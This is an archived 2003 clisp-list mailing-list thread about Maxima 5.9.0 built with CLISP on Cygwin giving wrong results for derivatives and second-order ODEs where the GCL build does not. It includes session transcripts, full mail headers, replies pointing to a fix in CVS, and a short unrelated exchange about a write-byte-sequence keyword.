William Schelter. > This is a development version of Maxima. The function bug_report() > provides bug reporting information. > (C3) 'diff(x,t,2) + a*x= b*sin(c*t); > > 2 > d x > (D3) --- + a x = b SIN(C t) > 2 > dt > (C4) ode2(d3,x,t); > > Is a positive, negative, or zero? > > positive; > b SIN(C t) > (D4) x = - ---------- + %K1 SIN(SQRT(a) t) + %K2 COS(SQRT(a) t) > 2 > C - a > (C5) > > The two solutions are totally different. This has to do with the CLISP > and GCLISP compilers. Any help or suggestions in this regard > will be highly appreciated. > > regards > > javed > > > > > Billinghurst, David (CALCRTS) wrote: > >>> From: Billinghurst, David (CALCRTS) >>> >>> >>>> From: Javed Alam >>>> Sent: Saturday, 13 September 2003 12:02 AM >>>> >>>> I have been trying to run texmacs-1.0.1.21 with maxima-5.9.0 under >>>> cygwin on a win/xp and win/2000 system. >>>> >>>> [...] >>>> >>>> I get the following error. >>>> >>>> [...] >>>> >>>> Fatal error: bad url in 'complete' >>>> See file : url.cpp >>>> >>> >>> See if >>> https://savannah.gnu.org/bugs/?func=detailbug&group_id=156&bug_id=4241 >>> helps. It suggests hard coding a file location. I will have a look >>> myself over weekend. >>> >> >> >> Alternatively: >> http://www.mail-archive.com/fink-users@lists.sourceforge.net/msg09820.html >> >> indicates that the problem is related to locate/updatedb. >> When "locate toc_maxima.html" finds the file then texmacs will run >> maxima. However, I have some unresolved issues on cygwin: >> - the machine that used to work now doesn't, - the one that didn't >> now does after doing an updatedb >> - updatedb is giving me some grief. >> >> >> >> > > From jalam@cc.ysu.edu Fri Sep 19 15:17:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0TZV-0004A8-00 for ; Fri, 19 Sep 2003 15:17:49 -0700 Received: from unix1.cc.ysu.edu ([150.134.10.33] helo=ysuwebshield01.ysu.edu) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A0TZU-00040M-9I; Fri, 19 Sep 2003 15:17:48 -0700 Received: from UNIX1.CC.YSU.EDU(150.134.10.33) by ysuwebshield01.ysu.edu via csmap id 21731; Fri, 19 Sep 2003 18:17:53 -0400 (EDT) Received: from alam.eng.ysu.edu ([150.134.100.65] helo=cc.ysu.edu) by unix1.cc.ysu.edu with esmtp (Exim 4.20) id 1A0TQy-0003yh-Vo; Fri, 19 Sep 2003 18:09:01 -0400 Message-ID: <3F6B7E92.20909@cc.ysu.edu> From: Javed Alam Reply-To: jalam@cc.ysu.edu User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3.1) Gecko/20030425 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Amundson CC: david.billinghurst@comalco.riotinto.com.au, maxima@www.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <3F6AA2B9.9050101@cc.ysu.edu> <1063980230.7622.5.camel@abacus.dhcp.fnal.gov> In-Reply-To: <1063980230.7622.5.camel@abacus.dhcp.fnal.gov> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 15:20:10 2003 X-Original-Date: Fri, 19 Sep 2003 18:09:22 -0400 Hi I ran the maxima versions(5.9.0) compiled with clisp(2.31) and gclisp(2.5.0) for exact same problems. The build_info for both is included. OS ENVIRONMENT: CYGWIN under WINXP CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 } Here is what I am getting as output: MAXIMA version compiled with the clisp runs most of the problems but fails to produce results for 1. problems involving differentiation of functions 2. 2nd order non-homogeneous ordinary differential equations. It works ok for 2nd order homogenous ordinary equations. Other than this everything else seems to work including plot2d and plot3d functions. I am including the screen output from both runs : CLISP run jalam@JOVE4 ~ $ maxima i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 Maxima 5.9.0 http://maxima.sourceforge.net Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. This is a development version of Maxima. The function bug_report() provides bug reporting information. ;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ... ;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp (C1) build_info; (D1) BUILD_INFO (C2) build_info(); Maxima version: 5.9.0 Maxima build date: 6:33 9/12/2003 host type: i686-pc-cygwin lisp-implementation-type: CLISP lisp-implementation-version: 2.31 (released 2003-09-01) (built 3272325060) (memo ry 3272351601) (D2) (C3) 2 + 2; (D3) 4 (C4) integrate(x^2,x); 3 x (D4) -- 3 (C5) integrate(x^3,x,0,1); 1 (D5) - 4 (C6) 'diff(x,t,2)=0; 2 d x (D6) --- = 0 2 dt (C7) ode2(d6,x,t); (D7) x = %K2 t + %K1 (C8) 'diff(x,t,2) + a*'diff(x,t) + b*x=0; 2 d x dx (D8) --- + a -- + b x = 0 2 dt dt (C9) ode2(d8,x,t); 2 Is 4 b - a positive, negative, or zero? positive; a t - --- 2 2 2 SQRT(4 b - a ) t SQRT(4 b - a ) t (D9) x = %E (%K1 SIN(----------------) + %K2 COS(----------------)) 2 2 (C10) solve(x^2 -3*x +2=0,x); (D10) [x = 1, x = 2] (C11) diff(x,x); (D11) 1 (C12) diff(x^2,x); d 2 (D12) -- (x ) dx (C13) 'diff(x,t,2) +a*'diff(x,t) + b*x =d*sin(e*t); 2 d x dx (D13) --- + a -- + b x = d SIN(e t) 2 dt dt (C14) ode2(d13,x,t); 2 Is 4 b - a positive, negative, or zero? positive; a t - --- 2 2 SQRT(4 b - a ) t (D14) x = %E (d SIN(----------------) 2 / 2 2 [ 2 e t + SQRT(4 b - a ) t SQRT(4 b - a ) t - 2 e t I (SIN(------------------------) - SIN(------------------------)) ] 2 2 / a t 2 - --- 2 SQRT(4 b - a ) t d 2 SQRT(4 b - a ) t /(2 COS(----------------) (-- (%E SIN(----------------))) 2 dt 2 a t 2 - --- 2 SQRT(4 b - a ) t d 2 SQRT(4 b - a ) t - 2 SIN(----------------) (-- (%E COS(----------------)))) dt 2 dt 2 2 / 2 SQRT(4 b - a ) t [ 2 e t + SQRT(4 b - a ) t + d COS(----------------) I (COS(------------------------) 2 ] 2 / 2 2 SQRT(4 b - a ) t - 2 e t SQRT(4 b - a ) t - COS(------------------------))/(2 COS(----------------) 2 2 a t - --- 2 2 d 2 SQRT(4 b - a ) t SQRT(4 b - a ) t (-- (%E SIN(----------------))) - 2 SIN(----------------) dt 2 2 a t - --- 2 d 2 SQRT(4 b - a ) t (-- (%E COS(----------------)))) dt) dt 2 (C15) - --- 2 2 2 SQRT(4 b - a ) t SQRT(4 b - a ) t + %E (%K1 SIN(----------------) + %K2 COS(----------------)) 2 2 (C15) GCLISP RUN for the sake of comparison jalam@JOVE4 ~ jalam@JOVE4 /tmp/maxima/lib/maxima/5.9.0/binary-gcl $ ./maxima -eval "(user::run)" GCL (GNU Common Lisp) Version(2.5.0) Thu Jan 30 02:37:51 CST 2003 Licensed under GNU Library General Public License Contains Enhancements by W. Schelter Use (help) to get some basic information on how to use GCL. Maxima 5.9.0 http://maxima.sourceforge.net Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. This is a development version of Maxima. The function bug_report() provides bug reporting information. (C1) build_info; (D1) BUILD_INFO (C2) build_info(); Maxima version: 5.9.0 Maxima build date: 19:10 2/9/2003 host type: i686-pc-mingw32 lisp-implementation-type: Kyoto Common Lisp lisp-implementation-version: GCL-2-5.0 (D2) (C3) 2 + 2; (D3) 4 (C4) integrate (x^2,x); 3 x (D4) -- 3 (C5) integrate(x^3,x,0,1); 1 (D5) - 4 (C6) 'diff(x,t,2)=0; 2 d x (D6) --- = 0 2 dt (C7) ode2(d6,x,t); (D7) x = %K2 t + %K1 (C8) 'diff(x,t,2) + a*'diff(x,t) + b*x=0; 2 d x dx (D8) --- + a -- + b x = 0 2 dt dt (C9) ode2(d8,x,t); 2 Is 4 b - a positive, negative, or zero? positive; a t - --- 2 2 2 SQRT(4 b - a ) t SQRT(4 b - a ) t (D9) x = %E (%K1 SIN(----------------) + %K2 COS(----------------)) 2 2 (C10) solve(x^2 - 3*x +2=0,x); (D10) [x = 1, x = 2] (C11) diff(x,x); (D11) 1 (C12) diff(x^2,x); (D12) 2 x (C13) 'diff(x,t,2) + a*'diff(x,t) + b*x = d*sin(e*t); 2 d x dx (D13) --- + a -- + b x = d SIN(e t) 2 dt dt (C14) ode2(d13,x,t); 2 Is 4 b - a positive, negative, or zero? positive; a t - --- 2 2 2 SQRT(4 b - a ) t SQRT(4 b - a ) t (D14) x = %E (%K1 SIN(----------------) + %K2 COS(----------------)) 2 2 2 (d e - b d) SIN(e t) + a d e COS(e t) - -------------------------------------- 4 2 2 2 e + (a - 2 b) e + b (C15) This shows that it could be a very small problem in clisp compilation of maxima on winxp under cygwin. Any suggestion will be very helpful. Thanks regards javed James Amundson wrote: >On Fri, 2003-09-19 at 01:31, Javed Alam wrote: > > >>I tried to solve this 2nd order differential equation >>and end up with >>a wrong answer because if I try doing the same with maxima compiled with >>GCL I get the >>right answer. Did some body else had the same problem? >> >> > > > > > >>(C1) 'diff(x,t,2) + a*x = b*sin(c*t); >> 2 >> d x >>(D1) --- + a x = b SIN(c t) >> 2 >> dt >>(C2) ode2(d1,x,t); >>Is a positive, negative, or zero? >> >>positive; >> / >> [ >>(D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t)) >> ] >>1. Break [1]> >> >> d >>/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) >> dt >> >> d >> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt >> dt >> >> / >> [ >> + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t)) >> ] >> / >> >> d >>/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) >> dt >> >> d >> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t) >> dt >> >> + %K2 COS(SQRT(a) t) >> >> > >I was not able to reproduce this result with Maxima 5.9.0+Clisp 2.29 or >the current Maxima cvs+Clisp 2.31. Looking at it, I don't see how you >could possibly get "1. Break [1]>" In the middle of a displayed >equation. Do you know what happened there? It would be helpful for you >to send us the output of "build_info();" > >--Jim > > > > > -- *Javed Alam, *Ph.D. *Professor* *Civil/Environmental/Chemical Engineering Department* Youngstown State University Youngstown, Ohio 44555 Phone 330-941-3029 Fax 330-941-3265 e-mail jalam@cc.ysu.edu web: http://www.eng.ysu.edu/~jalam/ ====================================================== "Knowledge will forever govern ignorance, and a people who mean to be their own governors, must arm themselves with the power knowledge gives. A popular government without popular information or the means of acquiring it, is but a prologue to a farce or a tragedy or perhaps both." - James Madison /(Fourth President of the United States)/ "Facts are stupid things..." - Ronald Reagan /(40th President of the United States)/ ======================================================== From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 19 13:24:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0KRI-00067w-00 for ; Fri, 19 Sep 2003 05:32:44 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0KRH-0006Pi-FW for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 05:32:43 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 19 Sep 2003 09:42:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Sep 2003 09:42:33 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06C0EF0D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com Subject: [clisp-list] write-byte-sequence :no-hang MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: 0.2/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Don Cohen writes: >Below is current diff. The build finishes but > (ext:write-byte-sequence a st :no-hang t) >gives me > *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair >:NO-HANG, T in argument list. > The allowed keywords are (:START :END) > >Can someone tell me what I've missed? >I expected the following to cause the new argument to be recognized. >[in sequence.d] >+LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3, >+ (kw(start),kw(end),kw(no_hang)) ) [...] Content analysis details: (0.20 points, 5 required) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 16:18:42 2003 X-Original-Date: Fri, 19 Sep 2003 09:42:31 +0200 Don Cohen writes: >Below is current diff. The build finishes but > (ext:write-byte-sequence a st :no-hang t) >gives me > *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair >:NO-HANG, T in argument list. > The allowed keywords are (:START :END) > >Can someone tell me what I've missed? >I expected the following to cause the new argument to be recognized. >[in sequence.d] >+LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3, >+ (kw(start),kw(end),kw(no_hang)) ) It's not enough to modify sequence.d. You must update subr.d and esp. subrkw.d Regards, Jorg Hohle. From amundson@users.sourceforge.net Fri Sep 19 13:25:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0Lsk-0007bb-00 for ; Fri, 19 Sep 2003 07:05:10 -0700 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0Lsj-0001cS-Sg for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 07:05:09 -0700 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HLG00401SEPDL@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 09:04:59 -0500 (CDT) Received: from abacus.dhcp.fnal.gov (abacus.dhcp.fnal.gov [131.225.95.166]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HLG008F5SFJ09@woozle.fnal.gov>; Fri, 19 Sep 2003 09:04:31 -0500 (CDT) From: James Amundson In-reply-to: <3F6AA2B9.9050101@cc.ysu.edu> To: jalam@cc.ysu.edu Cc: "Billinghurst, David (CALCRTS)" , Maxima List , clisp-list@lists.sourceforge.net, A.G.Grozin@inp.nsk.su Message-id: <1063980230.7622.5.camel@abacus.dhcp.fnal.gov> Organization: None MIME-version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-type: text/plain Content-transfer-encoding: 7BIT References: <3F6AA2B9.9050101@cc.ysu.edu> X-Spam-Score: -4.9 (----) X-Spam-Report: -4.9/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: On Fri, 2003-09-19 at 01:31, Javed Alam wrote: > I tried to solve this 2nd order differential equation > and end up with > a wrong answer because if I try doing the same with maxima compiled with > GCL I get the > right answer. Did some body else had the same problem? [...] Content analysis details: (-4.90 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT_XIMIAN (-2.4 points) Headers indicate a non-spam MUA (Ximian) Subject: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same problem, not related to texmacs/maxima interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 16:25:48 2003 X-Original-Date: Fri, 19 Sep 2003 09:03:51 -0500 On Fri, 2003-09-19 at 01:31, Javed Alam wrote: > I tried to solve this 2nd order differential equation > and end up with > a wrong answer because if I try doing the same with maxima compiled with > GCL I get the > right answer. Did some body else had the same problem? > (C1) 'diff(x,t,2) + a*x = b*sin(c*t); > 2 > d x > (D1) --- + a x = b SIN(c t) > 2 > dt > (C2) ode2(d1,x,t); > Is a positive, negative, or zero? > > positive; > / > [ > (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t)) > ] > 1. Break [1]> > > d > /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) > dt > > d > - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt > dt > > / > [ > + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t)) > ] > / > > d > /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) > dt > > d > - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t) > dt > > + %K2 COS(SQRT(a) t) I was not able to reproduce this result with Maxima 5.9.0+Clisp 2.29 or the current Maxima cvs+Clisp 2.31. Looking at it, I don't see how you could possibly get "1. Break [1]>" In the middle of a displayed equation. Do you know what happened there? It would be helpful for you to send us the output of "build_info();" --Jim From amundson@users.sourceforge.net Fri Sep 19 17:49:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0VwB-0006cm-00 for ; Fri, 19 Sep 2003 17:49:23 -0700 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0VwA-0006RC-Mi for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 17:49:22 -0700 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HLH00701LIF39@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 19:49:22 -0500 (CDT) Received: from addiator.nap.wideopenwest.com (d53-64-183-208.nap.wideopenwest.com [64.53.208.183]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HLH00IZTMA9RL@woozle.fnal.gov>; Fri, 19 Sep 2003 19:49:22 -0500 (CDT) From: James Amundson In-reply-to: <3F6B7E92.20909@cc.ysu.edu> To: jalam@cc.ysu.edu Cc: david.billinghurst@comalco.riotinto.com.au, Maxima List , clisp-list@lists.sourceforge.net Message-id: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> Organization: None MIME-version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Content-type: text/plain Content-transfer-encoding: 7BIT References: <3F6AA2B9.9050101@cc.ysu.edu> <1063980230.7622.5.camel@abacus.dhcp.fnal.gov> <3F6B7E92.20909@cc.ysu.edu> X-Spam-Score: -4.9 (----) X-Spam-Report: -4.9/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT_XIMIAN (-2.4 points) Headers indicate a non-spam MUA (Ximian) Subject: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 17:55:15 2003 X-Original-Date: Fri, 19 Sep 2003 19:49:21 -0500 On Fri, 2003-09-19 at 17:09, Javed Alam wrote: > Hi > > I ran the maxima versions(5.9.0) compiled with clisp(2.31) and > gclisp(2.5.0) for exact same problems. The build_info for both is included. > OS ENVIRONMENT: CYGWIN under WINXP > CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 } I am pretty sure there is a small, but important conflict between clisp 2.31 and Maxima 5.9.0. The good news is that the problem is fixed in CVS. The bad news is that I don't remember exactly which change it was. (Anyone else? It may have been a change for CMUCL. It definitely predates Clisp 2.31.) We need to think about making a 5.9.1 release. In the meantime, getting the CVS version of Maxima would be the easiest workaround. --Jim From fc@all.net Fri Sep 19 18:24:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0WU0-0001lr-00 for ; Fri, 19 Sep 2003 18:24:20 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0WTy-0004Fg-Py for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 18:24:18 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8K1Nl700809 for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 18:23:47 -0700 Message-Id: <200309200123.h8K1Nl700809@all.net> Subject: Re: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same To: clisp-list@lists.sourceforge.net (Clisp List) In-Reply-To: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> from "James Amundson" at Sep 19, 2003 07:49:21 PM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 18:25:02 2003 X-Original-Date: Fri, 19 Sep 2003 18:23:47 -0700 (PDT) So we are all clear, which versions have this problem? And on another related issue - how can it really be that we get a working functional system with that wrong an answer? It dramtically reduces my confidence in the tests and related material associated with maxima / clisp if such problems can happen so easily without notice. FC Per the message sent by James Amundson: > On Fri, 2003-09-19 at 17:09, Javed Alam wrote: > > Hi > > > > I ran the maxima versions(5.9.0) compiled with clisp(2.31) and > > gclisp(2.5.0) for exact same problems. The build_info for both is included. > > OS ENVIRONMENT: CYGWIN under WINXP > > CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 } > I am pretty sure there is a small, but important conflict between clisp > 2.31 and Maxima 5.9.0. The good news is that the problem is fixed in > CVS. The bad news is that I don't remember exactly which change it was. > (Anyone else? It may have been a change for CMUCL. It definitely > predates Clisp 2.31.) > We need to think about making a 5.9.1 release. In the meantime, getting > the CVS version of Maxima would be the easiest workaround. > --Jim > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From vvzhy@mail.ru Fri Sep 19 21:11:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0Z6D-0006Jb-00 for ; Fri, 19 Sep 2003 21:11:57 -0700 Received: from ns.netorn.ru ([213.148.21.2]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 1A0Z6B-0008Ji-K6; Fri, 19 Sep 2003 21:11:56 -0700 Received: from mail.ru ([213.148.20.88]) by ns.netorn.ru (8.12.6/8.12.6) with ESMTP id h8K4HPib078185; Sat, 20 Sep 2003 08:17:30 +0400 (MSD) (envelope-from vvzhy@mail.ru) Message-ID: <3F6BE174.4080804@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.4) Gecko/20030630 X-Accept-Language: ru-ru, ru MIME-Version: 1.0 To: James Amundson CC: jalam@cc.ysu.edu, david.billinghurst@comalco.riotinto.com.au, Maxima List , clisp-list@lists.sourceforge.net References: <3F6AA2B9.9050101@cc.ysu.edu> <1063980230.7622.5.camel@abacus.dhcp.fnal.gov> <3F6B7E92.20909@cc.ysu.edu> <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> In-Reply-To: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ns.netorn.ru id h8K4HPib078185 X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 21:12:05 2003 X-Original-Date: Sat, 20 Sep 2003 08:11:16 +0300 James Amundson =D0=C9=DB=C5=D4: > On Fri, 2003-09-19 at 17:09, Javed Alam wrote: >=20 >>Hi >> >>I ran the maxima versions(5.9.0) compiled with clisp(2.31) and=20 